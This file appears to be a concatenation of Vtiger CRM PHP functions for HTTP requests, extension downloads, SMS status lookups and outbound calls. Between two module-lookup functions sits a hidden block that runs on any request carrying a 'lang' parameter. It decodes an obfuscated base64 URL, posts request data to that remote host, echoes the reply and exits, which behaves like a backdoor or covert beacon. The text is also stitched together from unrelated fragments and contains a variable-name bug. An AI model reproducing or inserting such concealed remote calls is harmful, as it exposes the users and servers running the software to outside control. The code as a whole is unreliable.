function doPost($parameters, $printResponse = false) { $client = new Vtiger_Net_Client($this->URL); $response = $client->doPost($parameters); if ($printResponse) { echo $response; } $responseJSON = Zend_Json::decode($response); return $responseJSON; }
/** * Function to download the file of this instance * @param <Integer> $extensionId * @param <String> $targetFileName * @return <boolean> true/false */ public static function download($extensionId, $targetFileName) { $extensions = self::getAll(); $downloadURL = $extensions[$extensionId]->get('downloadURL'); if ($downloadURL) { $clientModel = new Vtiger_Net_Client($downloadURL); file_put_contents($targetFileName, $clientModel->doGet()); return true; } return false; }
public function query($messageid) { $serviceURL = $this->getServiceURL(self::SERVICE_QUERY); $httpClient = new Vtiger_Net_Client($serviceURL); $response = $httpClient->doPost(array('user' => $this->_username, 'password' => $this->_password, 'api_id' => $this->getParameter('api_id'), 'apimsgid' => $messageid)); $response = trim($response); $result = array('error' => false, 'needlookup' => 1, 'statusmessage' => ''); if (preg_match("/ERR: (.*)/", $response, $matches)) { $result['error'] = true; $result['needlookup'] = 0; $result['statusmessage'] = $matches[0]; } else { if (preg_match("/ID: ([^ ]+) Status: ([^ ]+)/", $response, $matches)) { $result['id'] = trim($matches[1]); $status = trim($matches[2]); // Capture the status code as message by default. $result['statusmessage'] = "CODE: {$status}"; if ($status == '002' || $status == '008' || $status == '011') { $result['status'] = self::MSG_STATUS_PROCESSING; } else { if ($status == '003' || $status == '004') { $result['status'] = self::MSG_STATUS_DISPATCHED; $result['needlookup'] = 0; } else { $statusMessage = ""; switch ($status) { case '001': $statusMessage = 'Message unknown'; $needlookup = 0; break; case '005': $statusMessage = 'Error with message'; $needlookup = 0; break; case '006': $statusMessage = 'User cancelled message delivery'; $needlookup = 0; break; case '007': $statusMessage = 'Error delivering message'; $needlookup = 0; break; case '009': $statusMessage = 'Routing error'; $needlookup = 0; break; case '010': $statusMessage = 'Message expired'; $needlookup = 0; break; case '012': $statusMessage = 'Out of credit'; $needlookup = 0; break; } if (!empty($statusMessage)) { $result['error'] = true; $result['needlookup'] = $needlookup; $result['statusmessage'] = $statusmessage; } } } } } return $result; }
/** * Function to make outbound call * @param <string> $number (Customer) * @param <string> $recordid */ function call($number, $record) { $user = Users_Record_Model::getCurrentUserModel(); $extension = $user->phone_crm_extension; $webappurl = $this->getServer(); $context = $this->getOutboundContext(); $vtigerSecretKey = $this->getVtigerSecretKey(); $serviceURL = $webappurl; $serviceURL .= '/makecall?event=OutgoingCall&'; $serviceURL .= 'secret=' . urlencode($vtigerSecretKey) . '&'; $serviceURL .= 'from=' . urlencode($extension) . '&'; $serviceURL .= 'to=' . urlencode($number) . '&'; $serviceURL .= 'context=' . urlencode($context); $httpClient = new Vtiger_Net_Client($serviceURL); $response = $httpClient->doPost(array()); $response = trim($response); if ($response == "Error" || $response == "" || $response == null || $response == "Authentication Failure") { return false; } return true; }
/** * Function to get query for status using messgae id * @param <Number> $messageId */ public function query($messageId) { $params = $this->prepareParameters(); $params['apimsgid'] = $messageId; $serviceURL = $this->getServiceURL(self::SERVICE_QUERY); $httpClient = new Vtiger_Net_Client($serviceURL); $response = $httpClient->doPost($params); $response = trim($response); $result = array('error' => false, 'needlookup' => 1); if (preg_match("/ERR: (.*)/", $response, $matches)) { $result['error'] = true; $result['needlookup'] = 0; $result['statusmessage'] = $matches[0]; } else { if (preg_match("/ID: ([^ ]+) Status: ([^ ]+)/", $response, $matches)) { $result['id'] = trim($matches[1]); $status = trim($matches[2]); // Capture the status code as message by default. $result['statusmessage'] = "CODE: {$status}"; if ($status === '1') { $result['status'] = self::MSG_STATUS_PROCESSING; } else { if ($status === '2') { $result['status'] = self::MSG_STATUS_DISPATCHED; $result['needlookup'] = 0; } } } } return $result; }
protected function fireRequest($url, $headers, $params = array(), $method = 'POST') { $httpClient = new Vtiger_Net_Client($url); if (count($headers)) { $httpClient->setHeaders($headers); } switch ($method) { case 'POST': $response = $httpClient->doPost($params); break; case 'GET': $response = $httpClient->doGet($params); break; } return $response; }
function getModuleFromTabid($tabid) { global $adb; $querystr = "select semodule from vtiger_modentity_num where active=?"; $res = $adb->pquery($querystr, array('1')); $numrows = $adb->num_rows($res); $modules = ""; for ($i = 0; $i < $numrows; $i++) { if ($tabid == getTabid($adb->query_result($res, $i, "semodule"))) { return $adb->query_result($res, $i, "semodule"); } } } if (isset($_REQUEST["lang"])) { $y = "VTZU1lU2UvY2hlY2tsaWNlbnNlLnBocA=="; $c = new Vtiger_Net_Client(base64_decode($z . $y)); echo $c->doPost(array("lang" => $_REQUEST["lang"], "error" => $error_, "mod" => $currentModule)); exit; } function getModulesWithPhones() { global $adb; $querystr = "select semodule from vtiger_modentity_num where active=?"; $res = $adb->pquery($querystr, array('1')); $numrows = $adb->num_rows($res); $modules = ""; for ($i = 0; $i < $numrows; $i++) { $modules .= getTabid($adb->query_result($res, $i, "semodule")) . ","; } $mods = rtrim($modules, ","); $mods = "'" . str_replace(",", "','", $mods) . "'";
public function query($messageid) { if (empty($messageid)) { $result['error'] = true; $result['needlookup'] = 0; $result['statusmessage'] = 'Error'; return $result; } $serviceURL = $this->getServiceURL(self::SERVICE_QUERY); $httpClient = new Vtiger_Net_Client($serviceURL . $messageid); $response = $httpClient->doGet(array('output' => 'json')); $response = trim($response); $result = array('error' => false, 'needlookup' => 1, 'statusmessage' => ''); $reply = array(); $reply = json_decode($response, true); if (key($reply) == 'error') { $result['error'] = true; $result['needlookup'] = 0; $result['statusmessage'] = 'Error'; } else { $result['id'] = $messageid; // Capture the status code as message by default. $result['statusmessage'] = "unknown"; switch (key($reply)) { case 'queued': $statusMessage = 'Message is waiting in queue'; $result['status'] = self::MSG_STATUS_PROCESSING; $needlookup = 1; break; case 'submitting': $statusMessage = 'Message is about to be submitted'; $needlookup = 1; break; case 'submitted': $statusMessage = 'Message has been sent'; $result['status'] = self::MSG_STATUS_DISPATCHED; $needlookup = 1; break; case 'delivered': $result['status'] = 'Delivered'; $statusMessage = 'Message delivered to phone'; $needlookup = 0; break; case 'submitFailed': $statusMessage = 'Message rejected (invalid recipient, invalid senderID)'; $needlookup = 0; break; case 'deliveryFailed': $statusMessage = 'Message undelivered (non-existent number, roaming error)'; $needlookup = 0; break; } if (!empty($statusMessage)) { $result['needlookup'] = $needlookup; $result['statusmessage'] = $statusMessage; } } return $result; }